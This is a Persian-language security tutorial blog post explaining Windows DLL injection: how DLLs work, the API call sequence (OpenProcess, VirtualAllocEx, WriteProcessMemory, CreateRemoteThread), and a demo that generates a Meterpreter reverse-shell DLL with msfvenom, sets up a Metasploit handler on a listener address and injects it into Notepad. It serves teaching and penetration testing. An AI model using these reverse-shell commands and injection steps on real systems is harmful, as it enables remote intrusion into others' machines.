امیرحسین تنگسیری نژاد
مهندس و مدرس شبکه و امنیت سایبری و مدیر کل جزیره هک و امنیت اطلاعات توسینسو

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

یکی از حملات پر استفاده توسط هکرها حمله DLL Injection میباشد که در بحث های افزایش سطح دسترسی (Privilege Escalantion) گرفتن دسترسی از راه دور (Remote Shell Access) به واسطه تزریق کردن یک فایل DLL در یک فرآیند (Process) درحال اجرا در سیستم انجام میگردد.

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران

فایل های Dynamic Link Library در ویندوز چیست؟

فایل های DLL یا همان فایل های Dynamic Link Library به فایل های گفته میشود که حاوی کتابخانه ها، کد ها و منابع مورد نیاز یک برنامه ویندوزی میباشند. توجه کنید که برنامه نویس ها به جای اینکه نرم افزار خود را سنگین‌ کنند و تمامی کد ها و کتابخانه ها و منابع مورد نیازشان را در خوده برنامه قرار بدهند از فایل های DLL استفاده میکنند و این فایل ها به صورت مشترک میان نرم افزارها استفاده میشود و موارد مورد نیاز نرم افزارها توسط این فایل های DLL تامین میشود.
برای مثال توجه کنید که دو نرم افزار داریم که از دو کتابخانه مشترک با عنوان X استفاده‌ میکنند و این کتابخانه حجم 100 مگابایت را در خود دارد.

این دو نرم افزار بدون وجود فایل های DLL کتابخانه X را در نرم افزار خود مستقیما قرار میدهند و نرم افزار 10‌ مگابایتی آنها تبدیل میشود به یک نرم افزار 110‌ مگابایتی و وقتی این دو بر روی سیستم نصب شوند یا نرم افزارهای دیگه بر روی سیستم نصب شوند که از کتابخانه X استفاده میکنند به مراتب حجم بسیار زیادی از فضای سیستم و Disk را اشغال میکنند.

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

آیا فایل های DLL مخرب هستند؟

درنگاه اول و به صورت کلی هم میتوان گفت نه هم میتوان گفت بله زیرا که فایل های DLL طبق گفته بالا یک سری فایل ها حاوی منابع مورد نیاز نرم افزارها میباشند اما از این جهت این فایل ها با وجود کدهای که درونشان وجود دارد و قابلیت اجرا شدن نیز دارند می‌توانند مخرب باشند و در این مقاله ما قصد داریم به مبحث DLL Injection بپردازیم

حمله DLL Injection چیست؟

توجه داشته باشید که حمله DLL Injection یکی از حملاتی میباشد که موجب تزریق کد های مخرب و اجرا سازی آنها از طریق یک فایل DLL با قرار دادن و تزریق کردن آن فایل DLL به یک فرآیند (Process) درحال اجرا به این دلیل که ممکن است نیاز شود فایل های DLL در لحظه اجرا سازی شوند.

نحوه کار حمله DLL Injection چگونه است؟ (معرفی کلی)

حمله تزریق فایل های DLL یا همان DLL Injection از طریق Windows API ها که منظور اشکال زدایی نرم افزارها استفاده می‌شوند انجام‌ میگردد که توابع متنوعی را شامل میشود که به شرح زیر میباشند:

مرحله اول - ابتدا فایل DLL بر روی سیستم هدف قرار میگیرد. (این فرآيند میتواند به هر شکلی انجام شود از جمله روش های مهندسی اجتماعی و یا دسترسی مستقیم به سیستم)

مرحله دوم - انتخاب Process هدف و ایجاد فضای حافظه برای DLL Injection

در این مرحله Process مورد و فضای مد نظرمان در Memory به منظور تزریق DLL انتخاب میشود و در این Process یک فضای حافظه جهت قرارگیری مسیر مربوط به فایل DLL ایجاد میشود.

مرحله سوم - قراردادن DLL Path مخرب در Process

در این مرحله DLL Path مخرب خودمان را فضای انتخاب شده Process قرار میگیرد و آدرس های حافظه به آن اختصاص پیدا میکند.

مرحله چهارم - اجرا شدن فایل DLL

فایل DLL مخرب ما اجرا سازی میشود و به واسطه این اجرا سازی فرآيند مخربی که قرار است توسط فایل DLL انجام شود نیز اجرا و انجام‌ سازی میشود.

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

نحوه کار حمله DLL Injection چگونه است؟ (معرفی فنی)

در بالا به صورت کلی ماجرا DLL Injection را بررسی کردیم حالا از این قسمت میخواهیم به صورت فنی تر این فرآيند را بررسی کنیم. اول از همه باید بدونید که برای پیاده سازی این حمله راه های متعددی وجود دارد که پر استفاده ترین آنها راهکار نوشتن ابزارهای دستی و یا استفاده از ابزارهای آماده مانند DLL Injector میباشد.
ابزار DLL Injector با استفاده از زبان C# نوشته شده است و از توابع این زبان برای پیاده سازی این‌ حمله استفاده میکند و با استفاده از کتابخانه Kernel32 فراخوانی می‌شوند‌.

مرحله اول - استفاده از OpenProcess

توجه داشته باشید که اولین تابع مورد استفاده برای بحث DLL Injection تابع OpenProcess() میباشد که برای انتخاب و مدیریت Process های که قرار است به آن فایل DLL را تزریق کنیم مورد استفاده میکنیم از همین جهت این تابع نیازمند یک سری مجوزها و یک سری Flagها برای این مجوز میباشد. برای اینکه بتوانیم از OpenProcess() برای تزریق DLL دلخواه خودمان استفاده کنیم باید از Flag های استفاده کنیم که عبارتند از:

  • CreateThread
  • QueryInformation
  • VMOperation
  • VMWrite
  • VMRead

و به اصطلاح به این سطح مجوز و ایجاد کردن آن از طریق Flag ها نیز Process Access Rights میگویند.

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

مرحله دوم - استفاده از LoadLibraryA

توجه کنید که بعد از فرآيند بالا جهت تزریق DLL دلخواه به Process مورد نظر ما نیاز داریم که از یک تابع kernel32.dll با عنوان LoadLibraryA استفاده کنیم. عمده استفاده این تابع در این مرحله این است که فایل DLL مارا جهت بارگذاری در حافظه (Memory) پردازش میکند. این تابع را به راحتی میتوان از Kernel32.dll فراخوانی کرد که اینکار توسط تابع GetProcAddress انجام میشود. تابع GetProcAddress جهت دریافت آدرس و یک تابع یا یک متغیر از طریق یک کتابخانه استفاده میشود.

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

مرحله سوم - استفاده از VirtualAllocEx

تابع VirtualAllocEx جهت تخصيص دادن مقداری از فضای حافظه مجازی فرایند (Process) استفاده میشود که فرآيند های متعددی را به واسطه این تابع میتوانیم انجام بدهیم.

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

مرحله چهارم - استفاده از WriteProcessMemory

از طریق این تابع ما توانایی این را داریم که مسیر فایل DLL مخرب خودمان را برای تزریق در فضای اختصاص داده شده برای فایل DLL استفاده کنیم و از طریق این تابع مسیر فایل DLL را در آن قرار بدهیم.

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

مرحله پنجم (نهایی) - استفاده از CreateRemoteThreat

از طریق این تابع یک Thread در حافظه مجازی فرآيند ایجاد میشود و و جهت تکمیل سازی فرآيند DLL Injection تابع LoadLibraryA به عنوان یک Thread در حافظه مجازی فرآيند اجرا سازی میشود.

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

همچنین تمامی مراحل بالا را میتوانید در قالب یک تصویر ببینید:

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

اجرا سازی حمله DLL Injection با استفاده از DLL Injector

برای پیاده سازی این حمله در ابتدا به سراغ Metasploit و ابزار msfvenom میرویم و یک Meterpreter Reverse Shell را در قالب یک فایل DLL ایجاد میکنیم.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.130 LPORT=8000 -f dll -o test.dll

پس از ایجاد Payload یک MultiHandler نیز ایجاد میکنیم و مشخصات اون رو مانند زیر وارد میکنیم که Shell مربوط به سیستم را دریافت کنیم:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tc
set LHOST 192.168.10.130
set LPORT 8000

run

پس از ایجاد سازی فایل DLL به سراغ Task Manager میرویم و Process دلخواهمان را انتخاب میکنیم که در اینجا Notepad.exe با PID 11976 را انتخاب میکنیم.

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

پس از ایجاد فایل DLL مخرب و انتخاب Process به سراغ DLL Injector میرویم که از طریق Github این ابزار دردسترس میباشد.

https://github.com/Zhuagenborn/Dll-Injector

پس از دریافت فایل DLL Injector در CMD آن را اجرا سازی میکنیم و درحالت عادی به ما می‌گوید که شما برای اجرا سازی باید فایل DLL مخرب و PID مورد نظرتان را وارد کنید که به همین شکل فایل DLL مخرب و PID مربوط به Notepad.exe را وارد میکنیم:

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

حالا در بستر Metasploit میبینیم که به راحتی برایمان دسترسی Shell گرفته شد.

حمله DLL Injection چیست و چگونه پیاده سازی میشود؟

موفق باشید.


امیرحسین تنگسیری نژاد
امیرحسین تنگسیری نژاد

مهندس و مدرس شبکه و امنیت سایبری و مدیر کل جزیره هک و امنیت اطلاعات توسینسو

متخصص امنیت اطلاعات و کارشناس شکار تهدیدات بانک ملی ایران ، دارای مدارک مختلف از Splunk و AWS و Fortinet و Huawei حوزه اصلی فعالیت بنده در زمینه شبکه مباحث R&S و Service Provider می‌باشد و در زمینه امنیت نیز در موقعیت های مختلفی مانند PenTest و SoC فعالیت داشته و دارم. سابقه همکاری با بعضی سازمان های در قالب پروژه و... را داشته ام الان به عنوان تحلیلگر امنیت سایبری در زیرساخت بانک ملی مشغول به کار هستم. لینکداین: https://www.linkedin.com/in/amirhoseintangsirinezhad/

نظرات